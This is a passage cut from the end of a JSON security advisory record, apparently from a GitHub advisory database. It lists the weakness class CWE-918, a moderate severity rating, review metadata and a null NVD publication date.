    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T18:21:39Z",
    "nvd_published_at" : null
  }
}